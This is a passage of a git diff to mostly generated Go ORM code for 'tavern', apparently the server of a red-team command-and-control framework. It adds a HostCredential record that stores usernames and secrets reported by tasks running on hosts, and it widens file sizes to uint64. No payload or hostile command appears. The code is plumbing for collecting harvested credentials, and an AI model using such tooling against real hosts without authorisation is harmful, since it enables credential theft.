+			return []ent.Value{*id}
 		}
-		return ids
 	}
 	return nil
 }
 
 // RemovedEdges returns all edge names that were removed in this mutation.
-func (m *HostMutation) RemovedEdges() []string {
-	edges := make([]string, 0, 4)
-	if m.removedtags != nil {
-		edges = append(edges, host.EdgeTags)
-	}
-	if m.removedbeacons != nil {
-		edges = append(edges, host.EdgeBeacons)
-	}
-	if m.removedfiles != nil {
-		edges = append(edges, host.EdgeFiles)
-	}
-	if m.removedprocesses != nil {
-		edges = append(edges, host.EdgeProcesses)
-	}
+func (m *HostCredentialMutation) RemovedEdges() []string {
+	edges := make([]string, 0, 2)
 	return edges
 }
 
 // RemovedIDs returns all IDs (to other nodes) that were removed for the edge with
 // the given name in this mutation.
-func (m *HostMutation) RemovedIDs(name string) []ent.Value {
-	switch name {
-	case host.EdgeTags:
-		ids := make([]ent.Value, 0, len(m.removedtags))
-		for id := range m.removedtags {
-			ids = append(ids, id)
-		}
-		return ids
-	case host.EdgeBeacons:
-		ids := make([]ent.Value, 0, len(m.removedbeacons))
-		for id := range m.removedbeacons {
-			ids = append(ids, id)
-		}
-		return ids
-	case host.EdgeFiles:
-		ids := make([]ent.Value, 0, len(m.removedfiles))
-		for id := range m.removedfiles {
-			ids = append(ids, id)
-		}
-		return ids
-	case host.EdgeProcesses:
-		ids := make([]ent.Value, 0, len(m.removedprocesses))
-		for id := range m.removedprocesses {
-			ids = append(ids, id)
-		}
-		return ids
-	}
+func (m *HostCredentialMutation) RemovedIDs(name string) []ent.Value {
 	return nil
 }
 
 // ClearedEdges returns all edge names that were cleared in this mutation.
-func (m *HostMutation) ClearedEdges() []string {
-	edges := make([]string, 0, 4)
-	if m.clearedtags {
-		edges = append(edges, host.EdgeTags)
-	}
-	if m.clearedbeacons {
-		edges = append(edges, host.EdgeBeacons)
-	}
-	if m.clearedfiles {
-		edges = append(edges, host.EdgeFiles)
+func (m *HostCredentialMutation) ClearedEdges() []string {
+	edges := make([]string, 0, 2)
+	if m.clearedhost {
+		edges = append(edges, hostcredential.EdgeHost)
 	}
-	if m.clearedprocesses {
-		edges = append(edges, host.EdgeProcesses)
+	if m.clearedtask {
+		edges = append(edges, hostcredential.EdgeTask)
 	}
 	return edges
 }
 
 // EdgeCleared returns a boolean which indicates if the edge with the given name
 // was cleared in this mutation.
-func (m *HostMutation) EdgeCleared(name string) bool {
+func (m *HostCredentialMutation) EdgeCleared(name string) bool {
 	switch name {
-	case host.EdgeTags:
-		return m.clearedtags
-	case host.EdgeBeacons:
-		return m.clearedbeacons
-	case host.EdgeFiles:
-		return m.clearedfiles
-	case host.EdgeProcesses:
-		return m.clearedprocesses
+	case hostcredential.EdgeHost:
+		return m.clearedhost
+	case hostcredential.EdgeTask:
+		return m.clearedtask
 	}
 	return false
 }
 
 // ClearEdge clears the value of the edge with the given name. It returns an error
 // if that edge is not defined in the schema.
-func (m *HostMutation) ClearEdge(name string) error {
+func (m *HostCredentialMutation) ClearEdge(name string) error {
 	switch name {
+	case hostcredential.EdgeHost:
+		m.ClearHost()
+		return nil
+	case hostcredential.EdgeTask:
+		m.ClearTask()
+		return nil
 	}
-	return fmt.Errorf("unknown Host unique edge %s", name)
+	return fmt.Errorf("unknown HostCredential unique edge %s", name)
 }
 
 // ResetEdge resets all changes to the edge with the given name in this mutation.
 // It returns an error if the edge is not defined in the schema.
-func (m *HostMutation) ResetEdge(name string) error {
+func (m *HostCredentialMutation) ResetEdge(name string) error {
 	switch name {
-	case host.EdgeTags:
-		m.ResetTags()
-		return nil
-	case host.EdgeBeacons:
-		m.ResetBeacons()
-		return nil
-	case host.EdgeFiles:
-		m.ResetFiles()
+	case hostcredential.EdgeHost:
+		m.ResetHost()
 		return nil
-	case host.EdgeProcesses:
-		m.ResetProcesses()
+	case hostcredential.EdgeTask:
+		m.ResetTask()
 		return nil
 	}
-	return fmt.Errorf("unknown Host edge %s", name)
+	return fmt.Errorf("unknown HostCredential edge %s", name)
 }
 
 // HostFileMutation represents an operation that mutates the HostFile nodes in the graph.
@@ -2808,8 +3507,8 @@ type HostFileMutation struct {
 	owner            *string
 	group            *string
 	permissions      *string
-	size             *int
-	addsize          *int
+	size             *uint64
+	addsize          *int64
 	hash             *string
 	content          *[]byte
 	clearedFields    map[string]struct{}
@@ -3176,13 +3875,13 @@ func (m *HostFileMutation) ResetPermissions() {
 }
 
 // SetSize sets the "size" field.
-func (m *HostFileMutation) SetSize(i int) {
-	m.size = &i
+func (m *HostFileMutation) SetSize(u uint64) {
+	m.size = &u
 	m.addsize = nil
 }
 
 // Size returns the value of the "size" field in the mutation.
-func (m *HostFileMutation) Size() (r int, exists bool) {
+func (m *HostFileMutation) Size() (r uint64, exists bool) {
 	v := m.size
 	if v == nil {
 		return
@@ -3193,7 +3892,7 @@ func (m *HostFileMutation) Size() (r int, exists bool) {
 // OldSize returns the old "size" field's value of the HostFile entity.
 // If the HostFile object wasn't provided to the builder, the object is fetched from the database.
 // An error is returned if the mutation operation is not UpdateOne, or the database query fails.
-func (m *HostFileMutation) OldSize(ctx context.Context) (v int, err error) {
+func (m *HostFileMutation) OldSize(ctx context.Context) (v uint64, err error) {
 	if !m.op.Is(OpUpdateOne) {
 		return v, errors.New("OldSize is only allowed on UpdateOne operations")
 	}
@@ -3207,17 +3906,17 @@ func (m *HostFileMutation) OldSize(ctx context.Context) (v int, err error) {
 	return oldValue.Size, nil
 }
 
-// AddSize adds i to the "size" field.
-func (m *HostFileMutation) AddSize(i int) {
+// AddSize adds u to the "size" field.
+func (m *HostFileMutation) AddSize(u int64) {
 	if m.addsize != nil {
-		*m.addsize += i
+		*m.addsize += u
 	} else {
-		m.addsize = &i
+		m.addsize = &u
 	}
 }
 
 // AddedSize returns the value that was added to the "size" field in this mutation.
-func (m *HostFileMutation) AddedSize() (r int, exists bool) {
+func (m *HostFileMutation) AddedSize() (r int64, exists bool) {
 	v := m.addsize
 	if v == nil {
 		return
@@ -3574,7 +4273,7 @@ func (m *HostFileMutation) SetField(name string, value ent.Value) error {
 		m.SetPermissions(v)
 		return nil
 	case hostfile.FieldSize:
-		v, ok := value.(int)
+		v, ok := value.(uint64)
 		if !ok {
 			return fmt.Errorf("unexpected type %T for field %s", value, name)
 		}
@@ -3625,7 +4324,7 @@ func (m *HostFileMutation) AddedField(name string) (ent.Value, bool) {
 func (m *HostFileMutation) AddField(name string, value ent.Value) error {
 	switch name {
 	case hostfile.FieldSize:
-		v, ok := value.(int)
+		v, ok := value.(int64)
 		if !ok {
 			return fmt.Errorf("unexpected type %T for field %s", value, name)
 		}
@@ -6210,32 +6909,35 @@ func (m *TagMutation) ResetEdge(name string) error {
 // TaskMutation represents an operation that mutates the Task nodes in the graph.
 type TaskMutation struct {
 	config
-	op                        Op
-	typ                       string
-	id                        *int
-	created_at                *time.Time
-	last_modified_at          *time.Time
-	claimed_at                *time.Time
-	exec_started_at           *time.Time
-	exec_finished_at          *time.Time
-	output                    *string
-	output_size               *int
-	addoutput_size            *int
-	error                     *string
-	clearedFields             map[string]struct{}
-	quest                     *int
-	clearedquest              bool
-	beacon                    *int
-	clearedbeacon             bool
-	reported_files            map[int]struct{}
-	removedreported_files     map[int]struct{}
-	clearedreported_files     bool
-	reported_processes        map[int]struct{}
-	removedreported_processes map[int]struct{}
-	clearedreported_processes bool
-	done                      bool
-	oldValue                  func(context.Context) (*Task, error)
-	predicates                []predicate.Task
+	op                          Op
+	typ                         string
+	id                          *int
+	created_at                  *time.Time
+	last_modified_at            *time.Time
+	claimed_at                  *time.Time
+	exec_started_at             *time.Time
+	exec_finished_at            *time.Time
+	output                      *string
+	output_size                 *int
+	addoutput_size              *int
+	error                       *string
+	clearedFields               map[string]struct{}
+	quest                       *int
+	clearedquest                bool
+	beacon                      *int
+	clearedbeacon               bool
+	reported_files              map[int]struct{}
+	removedreported_files       map[int]struct{}
+	clearedreported_files       bool
+	reported_processes          map[int]struct{}
+	removedreported_processes   map[int]struct{}
+	clearedreported_processes   bool
+	reported_credentials        map[int]struct{}
+	removedreported_credentials map[int]struct{}
+	clearedreported_credentials bool
+	done                        bool
+	oldValue                    func(context.Context) (*Task, error)
+	predicates                  []predicate.Task
 }
 
 var _ ent.Mutation = (*TaskMutation)(nil)
@@ -6895,6 +7597,60 @@ func (m *TaskMutation) ResetReportedProcesses() {
 	m.removedreported_processes = nil
 }
 
+// AddReportedCredentialIDs adds the "reported_credentials" edge to the HostCredential entity by ids.
+func (m *TaskMutation) AddReportedCredentialIDs(ids ...int) {
+	if m.reported_credentials == nil {
+		m.reported_credentials = make(map[int]struct{})
+	}
+	for i := range ids {
+		m.reported_credentials[ids[i]] = struct{}{}
+	}
+}
+
+// ClearReportedCredentials clears the "reported_credentials" edge to the HostCredential entity.
+func (m *TaskMutation) ClearReportedCredentials() {
+	m.clearedreported_credentials = true
+}
+
+// ReportedCredentialsCleared reports if the "reported_credentials" edge to the HostCredential entity was cleared.
+func (m *TaskMutation) ReportedCredentialsCleared() bool {
+	return m.clearedreported_credentials
+}
+
+// RemoveReportedCredentialIDs removes the "reported_credentials" edge to the HostCredential entity by IDs.
+func (m *TaskMutation) RemoveReportedCredentialIDs(ids ...int) {
+	if m.removedreported_credentials == nil {
+		m.removedreported_credentials = make(map[int]struct{})
+	}
+	for i := range ids {
+		delete(m.reported_credentials, ids[i])
+		m.removedreported_credentials[ids[i]] = struct{}{}
+	}
+}
+
+// RemovedReportedCredentials returns the removed IDs of the "reported_credentials" edge to the HostCredential entity.
+func (m *TaskMutation) RemovedReportedCredentialsIDs() (ids []int) {
+	for id := range m.removedreported_credentials {
+		ids = append(ids, id)
+	}
+	return
+}
+
+// ReportedCredentialsIDs returns the "reported_credentials" edge IDs in the mutation.
+func (m *TaskMutation) ReportedCredentialsIDs() (ids []int) {
+	for id := range m.reported_credentials {
+		ids = append(ids, id)
+	}
+	return
+}
+
+// ResetReportedCredentials resets all changes to the "reported_credentials" edge.
+func (m *TaskMutation) ResetReportedCredentials() {
+	m.reported_credentials = nil
+	m.clearedreported_credentials = false
+	m.removedreported_credentials = nil
+}
+
 // Where appends a list predicates to the TaskMutation builder.
 func (m *TaskMutation) Where(ps ...predicate.Task) {
 	m.predicates = append(m.predicates, ps...)
@@ -7195,7 +7951,7 @@ func (m *TaskMutation) ResetField(name string) error {
 
 // AddedEdges returns all edge names that were set/added in this mutation.
 func (m *TaskMutation) AddedEdges() []string {
-	edges := make([]string, 0, 4)
+	edges := make([]string, 0, 5)
 	if m.quest != nil {
 		edges = append(edges, task.EdgeQuest)
 	}
@@ -7208,6 +7964,9 @@ func (m *TaskMutation) AddedEdges() []string {
 	if m.reported_processes != nil {
 		edges = append(edges, task.EdgeReportedProcesses)
 	}
+	if m.reported_credentials != nil {
+		edges = append(edges, task.EdgeReportedCredentials)
+	}
 	return edges
 }
 
@@ -7235,19 +7994,28 @@ func (m *TaskMutation) AddedIDs(name string) []ent.Value {
 			ids = append(ids, id)
 		}
 		return ids
+	case task.EdgeReportedCredentials:
+		ids := make([]ent.Value, 0, len(m.reported_credentials))
+		for id := range m.reported_credentials {
+			ids = append(ids, id)
+		}
+		return ids
 	}
 	return nil
 }
 
 // RemovedEdges returns all edge names that were removed in this mutation.
 func (m *TaskMutation) RemovedEdges() []string {
-	edges := make([]string, 0, 4)
+	edges := make([]string, 0, 5)
 	if m.removedreported_files != nil {
 		edges = append(edges, task.EdgeReportedFiles)
 	}
 	if m.removedreported_processes != nil {
 		edges = append(edges, task.EdgeReportedProcesses)
 	}
+	if m.removedreported_credentials != nil {
+		edges = append(edges, task.EdgeReportedCredentials)
+	}
 	return edges
 }
 
@@ -7267,13 +8035,19 @@ func (m *TaskMutation) RemovedIDs(name string) []ent.Value {
 			ids = append(ids, id)
 		}
 		return ids
+	case task.EdgeReportedCredentials:
+		ids := make([]ent.Value, 0, len(m.removedreported_credentials))
+		for id := range m.removedreported_credentials {
+			ids = append(ids, id)
+		}
+		return ids
 	}
 	return nil
 }
 
 // ClearedEdges returns all edge names that were cleared in this mutation.
 func (m *TaskMutation) ClearedEdges() []string {
-	edges := make([]string, 0, 4)
+	edges := make([]string, 0, 5)
 	if m.clearedquest {
 		edges = append(edges, task.EdgeQuest)
 	}
@@ -7286,6 +8060,9 @@ func (m *TaskMutation) ClearedEdges() []string {
 	if m.clearedreported_processes {
 		edges = append(edges, task.EdgeReportedProcesses)
 	}
+	if m.clearedreported_credentials {
+		edges = append(edges, task.EdgeReportedCredentials)
+	}
 	return edges
 }
 
@@ -7301,6 +8078,8 @@ func (m *TaskMutation) EdgeCleared(name string) bool {
 		return m.clearedreported_files
 	case task.EdgeReportedProcesses:
 		return m.clearedreported_processes
+	case task.EdgeReportedCredentials:
+		return m.clearedreported_credentials
 	}
 	return false
 }
@@ -7335,6 +8114,9 @@ func (m *TaskMutation) ResetEdge(name string) error {
 	case task.EdgeReportedProcesses:
 		m.ResetReportedProcesses()
 		return nil
+	case task.EdgeReportedCredentials:
+		m.ResetReportedCredentials()
+		return nil
 	}
 	return fmt.Errorf("unknown Task edge %s", name)
 }
diff --git a/tavern/internal/ent/predicate/predicate.go b/tavern/internal/ent/predicate/predicate.go
index a18133044..315d2f1e4 100644
--- a/tavern/internal/ent/predicate/predicate.go
+++ b/tavern/internal/ent/predicate/predicate.go
@@ -15,6 +15,9 @@ type File func(*sql.Selector)
 // Host is the predicate function for host builders.
 type Host func(*sql.Selector)
 
+// HostCredential is the predicate function for hostcredential builders.
+type HostCredential func(*sql.Selector)
+
 // HostFile is the predicate function for hostfile builders.
 type HostFile func(*sql.Selector)
 
diff --git a/tavern/internal/ent/privacy/privacy.go b/tavern/internal/ent/privacy/privacy.go
index b1f340c92..58165136e 100644
--- a/tavern/internal/ent/privacy/privacy.go
+++ b/tavern/internal/ent/privacy/privacy.go
@@ -182,6 +182,30 @@ func (f HostMutationRuleFunc) EvalMutation(ctx context.Context, m ent.Mutation)
 	return Denyf("ent/privacy: unexpected mutation type %T, expect *ent.HostMutation", m)
 }
 
+// The HostCredentialQueryRuleFunc type is an adapter to allow the use of ordinary
+// functions as a query rule.
+type HostCredentialQueryRuleFunc func(context.Context, *ent.HostCredentialQuery) error
+
+// EvalQuery return f(ctx, q).
+func (f HostCredentialQueryRuleFunc) EvalQuery(ctx context.Context, q ent.Query) error {
+	if q, ok := q.(*ent.HostCredentialQuery); ok {
+		return f(ctx, q)
+	}
+	return Denyf("ent/privacy: unexpected query type %T, expect *ent.HostCredentialQuery", q)
+}
+
+// The HostCredentialMutationRuleFunc type is an adapter to allow the use of ordinary
+// functions as a mutation rule.
+type HostCredentialMutationRuleFunc func(context.Context, *ent.HostCredentialMutation) error
+
+// EvalMutation calls f(ctx, m).
+func (f HostCredentialMutationRuleFunc) EvalMutation(ctx context.Context, m ent.Mutation) error {
+	if m, ok := m.(*ent.HostCredentialMutation); ok {
+		return f(ctx, m)
+	}
+	return Denyf("ent/privacy: unexpected mutation type %T, expect *ent.HostCredentialMutation", m)
+}
+
 // The HostFileQueryRuleFunc type is an adapter to allow the use of ordinary
 // functions as a query rule.
 type HostFileQueryRuleFunc func(context.Context, *ent.HostFileQuery) error
diff --git a/tavern/internal/ent/runtime/runtime.go b/tavern/internal/ent/runtime/runtime.go
index db5284bfd..4fdee078d 100644
--- a/tavern/internal/ent/runtime/runtime.go
+++ b/tavern/internal/ent/runtime/runtime.go
@@ -8,6 +8,7 @@ import (
 	"realm.pub/tavern/internal/ent/beacon"
 	"realm.pub/tavern/internal/ent/file"
 	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/quest"
@@ -111,6 +112,29 @@ func init() {
 	hostDescName := hostFields[1].Descriptor()
 	// host.NameValidator is a validator for the "name" field. It is called by the builders before save.
 	host.NameValidator = hostDescName.Validators[0].(func(string) error)
+	hostcredentialMixin := schema.HostCredential{}.Mixin()
+	hostcredentialMixinFields0 := hostcredentialMixin[0].Fields()
+	_ = hostcredentialMixinFields0
+	hostcredentialFields := schema.HostCredential{}.Fields()
+	_ = hostcredentialFields
+	// hostcredentialDescCreatedAt is the schema descriptor for created_at field.
+	hostcredentialDescCreatedAt := hostcredentialMixinFields0[0].Descriptor()
+	// hostcredential.DefaultCreatedAt holds the default value on creation for the created_at field.
+	hostcredential.DefaultCreatedAt = hostcredentialDescCreatedAt.Default.(func() time.Time)
+	// hostcredentialDescLastModifiedAt is the schema descriptor for last_modified_at field.
+	hostcredentialDescLastModifiedAt := hostcredentialMixinFields0[1].Descriptor()
+	// hostcredential.DefaultLastModifiedAt holds the default value on creation for the last_modified_at field.
+	hostcredential.DefaultLastModifiedAt = hostcredentialDescLastModifiedAt.Default.(func() time.Time)
+	// hostcredential.UpdateDefaultLastModifiedAt holds the default value on update for the last_modified_at field.
+	hostcredential.UpdateDefaultLastModifiedAt = hostcredentialDescLastModifiedAt.UpdateDefault.(func() time.Time)
+	// hostcredentialDescPrincipal is the schema descriptor for principal field.
+	hostcredentialDescPrincipal := hostcredentialFields[0].Descriptor()
+	// hostcredential.PrincipalValidator is a validator for the "principal" field. It is called by the builders before save.
+	hostcredential.PrincipalValidator = hostcredentialDescPrincipal.Validators[0].(func(string) error)
+	// hostcredentialDescSecret is the schema descriptor for secret field.
+	hostcredentialDescSecret := hostcredentialFields[1].Descriptor()
+	// hostcredential.SecretValidator is a validator for the "secret" field. It is called by the builders before save.
+	hostcredential.SecretValidator = hostcredentialDescSecret.Validators[0].(func(string) error)
 	hostfileMixin := schema.HostFile{}.Mixin()
 	hostfileHooks := schema.HostFile{}.Hooks()
 	hostfile.Hooks[0] = hostfileHooks[0]
@@ -135,9 +159,9 @@ func init() {
 	// hostfileDescSize is the schema descriptor for size field.
 	hostfileDescSize := hostfileFields[4].Descriptor()
 	// hostfile.DefaultSize holds the default value on creation for the size field.
-	hostfile.DefaultSize = hostfileDescSize.Default.(int)
+	hostfile.DefaultSize = hostfileDescSize.Default.(uint64)
 	// hostfile.SizeValidator is a validator for the "size" field. It is called by the builders before save.
-	hostfile.SizeValidator = hostfileDescSize.Validators[0].(func(int) error)
+	hostfile.SizeValidator = hostfileDescSize.Validators[0].(func(uint64) error)
 	// hostfileDescHash is the schema descriptor for hash field.
 	hostfileDescHash := hostfileFields[5].Descriptor()
 	// hostfile.HashValidator is a validator for the "hash" field. It is called by the builders before save.
diff --git a/tavern/internal/ent/schema/host.go b/tavern/internal/ent/schema/host.go
index a88b695f0..5dfcfbaeb 100644
--- a/tavern/internal/ent/schema/host.go
+++ b/tavern/internal/ent/schema/host.go
@@ -62,6 +62,9 @@ func (Host) Edges() []ent.Edge {
 			Comment("Files reported on this host system."),
 		edge.To("processes", HostProcess.Type).
 			Comment("Processes reported as running on this host system."),
+		edge.From("credentials", HostCredential.Type).
+			Ref("host").
+			Comment("Credentials reported from this host system."),
 	}
 }
 
diff --git a/tavern/internal/ent/schema/host_credential.go b/tavern/internal/ent/schema/host_credential.go
new file mode 100644
index 000000000..585ebb61d
--- /dev/null
+++ b/tavern/internal/ent/schema/host_credential.go
@@ -0,0 +1,76 @@
+package schema
+
+import (
+	"entgo.io/contrib/entgql"
+	"entgo.io/ent"
+	"entgo.io/ent/dialect"
+	"entgo.io/ent/dialect/entsql"
+	"entgo.io/ent/schema"
+	"entgo.io/ent/schema/edge"
+	"entgo.io/ent/schema/field"
+	"realm.pub/tavern/internal/c2/epb"
+)
+
+// HostCredential holds the schema definition for the entity.
+type HostCredential struct {
+	ent.Schema
+}
+
+// Fields of the ent.
+func (HostCredential) Fields() []ent.Field {
+	return []ent.Field{
+		field.String("principal").
+			NotEmpty().
+			Annotations(
+				entgql.OrderField("PRINCIPAL"),
+			).
+			Comment("Identity associated with this credential (e.g. username)."),
+		field.String("secret").
+			NotEmpty().
+			SchemaType(map[string]string{
+				dialect.MySQL: "LONGTEXT", // Override MySQL, improve length maximum
+			}).
+			Comment("Secret for this credential (e.g. password)."),
+		field.Enum("kind").
+			GoType(epb.Credential_Kind(0)).
+			Comment("Kind of credential."),
+	}
+}
+
+// Edges of the ent.
+func (HostCredential) Edges() []ent.Edge {
+	return []ent.Edge{
+		edge.To("host", Host.Type).
+			Required().
+			Unique().
+			Annotations(
+				entsql.OnDelete(entsql.Cascade),
+			).
+			Comment("Host the credential was reported on."),
+		edge.From("task", Task.Type).
+			Required().
+			Unique().
+			Ref("reported_credentials").
+			Annotations(
+				entsql.OnDelete(entsql.Cascade),
+			).
+			Comment("Task that reported this credential."),
+	}
+}
+
+// Annotations describes additional information for the ent.
+func (HostCredential) Annotations() []schema.Annotation {
+	return []schema.Annotation{}
+}
+
+// Mixin defines common shared properties for the ent.
+func (HostCredential) Mixin() []ent.Mixin {
+	return []ent.Mixin{
+		MixinHistory{}, // created_at, last_modified_at
+	}
+}
+
+// Hooks defines middleware for mutations for the ent.
+func (HostCredential) Hooks() []ent.Hook {
+	return []ent.Hook{}
+}
diff --git a/tavern/internal/ent/schema/host_file.go b/tavern/internal/ent/schema/host_file.go
index d627ba268..be4f6c66d 100644
--- a/tavern/internal/ent/schema/host_file.go
+++ b/tavern/internal/ent/schema/host_file.go
@@ -38,10 +38,11 @@ func (HostFile) Fields() []ent.Field {
 		field.String("permissions").
 			Optional().
 			Comment("Permissions for the file on the host system."),
-		field.Int("size").
+		field.Uint64("size").
 			Default(0).
 			Min(0).
 			Annotations(
+				entgql.Type("Uint64"),
 				entgql.OrderField("SIZE"),
 			).
 			Comment("The size of the file in bytes"),
@@ -104,7 +105,7 @@ func HookDeriveHostFileInfo() ent.Hook {
 	// See this example: https://github.com/ent/ent/blob/master/entc/integration/hooks/ent/schema/user.go#L98
 	type fMutation interface {
 		Content() ([]byte, bool)
-		SetSize(i int)
+		SetSize(i uint64)
 		SetHash(s string)
 	}
 
@@ -118,7 +119,7 @@ func HookDeriveHostFileInfo() ent.Hook {
 
 			// Set the new size
 			content, _ := f.Content()
-			f.SetSize(len(content))
+			f.SetSize(uint64(len(content)))
 
 			// Set the new hash (if content exists)
 			if len(content) > 0 {
diff --git a/tavern/internal/ent/schema/host_file_test.go b/tavern/internal/ent/schema/host_file_test.go
index ef6716560..947846c82 100644
--- a/tavern/internal/ent/schema/host_file_test.go
+++ b/tavern/internal/ent/schema/host_file_test.go
@@ -18,7 +18,7 @@ func TestHostFileHooks(t *testing.T) {
 	var (
 		expectedPath    = "TestFile"
 		expectedContent = []byte("ABunchOfBytes")
-		expectedSize    = 13
+		expectedSize    = uint64(13)
 		expectedHash    = "adaf38cc9a3d8d810f051a0098cb8737001394ae9b85d9f6fa56dbc2bcc08db6"
 	)
 
diff --git a/tavern/internal/ent/schema/task.go b/tavern/internal/ent/schema/task.go
index eaa6c5644..f74427ee7 100644
--- a/tavern/internal/ent/schema/task.go
+++ b/tavern/internal/ent/schema/task.go
@@ -75,6 +75,8 @@ func (Task) Edges() []ent.Edge {
 			Comment("Files that have been reported by this task."),
 		edge.To("reported_processes", HostProcess.Type).
 			Comment("Processes that have been reported by this task."),
+		edge.To("reported_credentials", HostCredential.Type).
+			Comment("Credentials that have been reported by this task."),
 	}
 }
 
diff --git a/tavern/internal/ent/task.go b/tavern/internal/ent/task.go
index 26812b116..cce73a972 100644
--- a/tavern/internal/ent/task.go
+++ b/tavern/internal/ent/task.go
@@ -53,14 +53,17 @@ type TaskEdges struct {
 	ReportedFiles []*HostFile `json:"reported_files,omitempty"`
 	// Processes that have been reported by this task.
 	ReportedProcesses []*HostProcess `json:"reported_processes,omitempty"`
+	// Credentials that have been reported by this task.
+	ReportedCredentials []*HostCredential `json:"reported_credentials,omitempty"`
 	// loadedTypes holds the information for reporting if a
 	// type was loaded (or requested) in eager-loading or not.
-	loadedTypes [4]bool
+	loadedTypes [5]bool
 	// totalCount holds the count of the edges above.
-	totalCount [4]map[string]int
+	totalCount [5]map[string]int
 
-	namedReportedFiles     map[string][]*HostFile
-	namedReportedProcesses map[string][]*HostProcess
+	namedReportedFiles       map[string][]*HostFile
+	namedReportedProcesses   map[string][]*HostProcess
+	namedReportedCredentials map[string][]*HostCredential
 }
 
 // QuestOrErr returns the Quest value or an error if the edge
@@ -107,6 +110,15 @@ func (e TaskEdges) ReportedProcessesOrErr() ([]*HostProcess, error) {
 	return nil, &NotLoadedError{edge: "reported_processes"}
 }
 
+// ReportedCredentialsOrErr returns the ReportedCredentials value or an error if the edge
+// was not loaded in eager-loading.
+func (e TaskEdges) ReportedCredentialsOrErr() ([]*HostCredential, error) {
+	if e.loadedTypes[4] {
+		return e.ReportedCredentials, nil
+	}
+	return nil, &NotLoadedError{edge: "reported_credentials"}
+}
+
 // scanValues returns the types for scanning values from sql.Rows.
 func (*Task) scanValues(columns []string) ([]any, error) {
 	values := make([]any, len(columns))
@@ -238,6 +250,11 @@ func (t *Task) QueryReportedProcesses() *HostProcessQuery {
 	return NewTaskClient(t.config).QueryReportedProcesses(t)
 }
 
+// QueryReportedCredentials queries the "reported_credentials" edge of the Task entity.
+func (t *Task) QueryReportedCredentials() *HostCredentialQuery {
+	return NewTaskClient(t.config).QueryReportedCredentials(t)
+}
+
 // Update returns a builder for updating this Task.
 // Note that you need to call Task.Unwrap() before calling this method if this Task
 // was returned from a transaction, and the transaction was committed or rolled back.
@@ -336,5 +353,29 @@ func (t *Task) appendNamedReportedProcesses(name string, edges ...*HostProcess)
 	}
 }
 
+// NamedReportedCredentials returns the ReportedCredentials named value or an error if the edge was not
+// loaded in eager-loading with this name.
+func (t *Task) NamedReportedCredentials(name string) ([]*HostCredential, error) {
+	if t.Edges.namedReportedCredentials == nil {
+		return nil, &NotLoadedError{edge: name}
+	}
+	nodes, ok := t.Edges.namedReportedCredentials[name]
+	if !ok {
+		return nil, &NotLoadedError{edge: name}
+	}
+	return nodes, nil
+}
+
+func (t *Task) appendNamedReportedCredentials(name string, edges ...*HostCredential) {
+	if t.Edges.namedReportedCredentials == nil {
+		t.Edges.namedReportedCredentials = make(map[string][]*HostCredential)
+	}
+	if len(edges) == 0 {
+		t.Edges.namedReportedCredentials[name] = []*HostCredential{}
+	} else {
+		t.Edges.namedReportedCredentials[name] = append(t.Edges.namedReportedCredentials[name], edges...)
+	}
+}
+
 // Tasks is a parsable slice of Task.
 type Tasks []*Task
diff --git a/tavern/internal/ent/task/task.go b/tavern/internal/ent/task/task.go
index 115429c51..10829fa55 100644
--- a/tavern/internal/ent/task/task.go
+++ b/tavern/internal/ent/task/task.go
@@ -39,6 +39,8 @@ const (
 	EdgeReportedFiles = "reported_files"
 	// EdgeReportedProcesses holds the string denoting the reported_processes edge name in mutations.
 	EdgeReportedProcesses = "reported_processes"
+	// EdgeReportedCredentials holds the string denoting the reported_credentials edge name in mutations.
+	EdgeReportedCredentials = "reported_credentials"
 	// Table holds the table name of the task in the database.
 	Table = "tasks"
 	// QuestTable is the table that holds the quest relation/edge.
@@ -69,6 +71,13 @@ const (
 	ReportedProcessesInverseTable = "host_processes"
 	// ReportedProcessesColumn is the table column denoting the reported_processes relation/edge.
 	ReportedProcessesColumn = "task_reported_processes"
+	// ReportedCredentialsTable is the table that holds the reported_credentials relation/edge.
+	ReportedCredentialsTable = "host_credentials"
+	// ReportedCredentialsInverseTable is the table name for the HostCredential entity.
+	// It exists in this package in order to avoid circular dependency with the "hostcredential" package.
+	ReportedCredentialsInverseTable = "host_credentials"
+	// ReportedCredentialsColumn is the table column denoting the reported_credentials relation/edge.
+	ReportedCredentialsColumn = "task_reported_credentials"
 )
 
 // Columns holds all SQL columns for task fields.
@@ -214,6 +223,20 @@ func ByReportedProcesses(term sql.OrderTerm, terms ...sql.OrderTerm) OrderOption
 		sqlgraph.OrderByNeighborTerms(s, newReportedProcessesStep(), append([]sql.OrderTerm{term}, terms...)...)
 	}
 }
+
+// ByReportedCredentialsCount orders the results by reported_credentials count.
+func ByReportedCredentialsCount(opts ...sql.OrderTermOption) OrderOption {
+	return func(s *sql.Selector) {
+		sqlgraph.OrderByNeighborsCount(s, newReportedCredentialsStep(), opts...)
+	}
+}
+
+// ByReportedCredentials orders the results by reported_credentials terms.
+func ByReportedCredentials(term sql.OrderTerm, terms ...sql.OrderTerm) OrderOption {
+	return func(s *sql.Selector) {
+		sqlgraph.OrderByNeighborTerms(s, newReportedCredentialsStep(), append([]sql.OrderTerm{term}, terms...)...)
+	}
+}
 func newQuestStep() *sqlgraph.Step {
 	return sqlgraph.NewStep(
 		sqlgraph.From(Table, FieldID),
@@ -242,3 +265,10 @@ func newReportedProcessesStep() *sqlgraph.Step {
 		sqlgraph.Edge(sqlgraph.O2M, false, ReportedProcessesTable, ReportedProcessesColumn),
 	)
 }
+func newReportedCredentialsStep() *sqlgraph.Step {
+	return sqlgraph.NewStep(
+		sqlgraph.From(Table, FieldID),
+		sqlgraph.To(ReportedCredentialsInverseTable, FieldID),
+		sqlgraph.Edge(sqlgraph.O2M, false, ReportedCredentialsTable, ReportedCredentialsColumn),
+	)
+}
diff --git a/tavern/internal/ent/task/where.go b/tavern/internal/ent/task/where.go
index 4b619ae68..8c234a4ba 100644
--- a/tavern/internal/ent/task/where.go
+++ b/tavern/internal/ent/task/where.go
@@ -607,6 +607,29 @@ func HasReportedProcessesWith(preds ...predicate.HostProcess) predicate.Task {
 	})
 }
 
+// HasReportedCredentials applies the HasEdge predicate on the "reported_credentials" edge.
+func HasReportedCredentials() predicate.Task {
+	return predicate.Task(func(s *sql.Selector) {
+		step := sqlgraph.NewStep(
+			sqlgraph.From(Table, FieldID),
+			sqlgraph.Edge(sqlgraph.O2M, false, ReportedCredentialsTable, ReportedCredentialsColumn),
+		)
+		sqlgraph.HasNeighbors(s, step)
+	})
+}
+
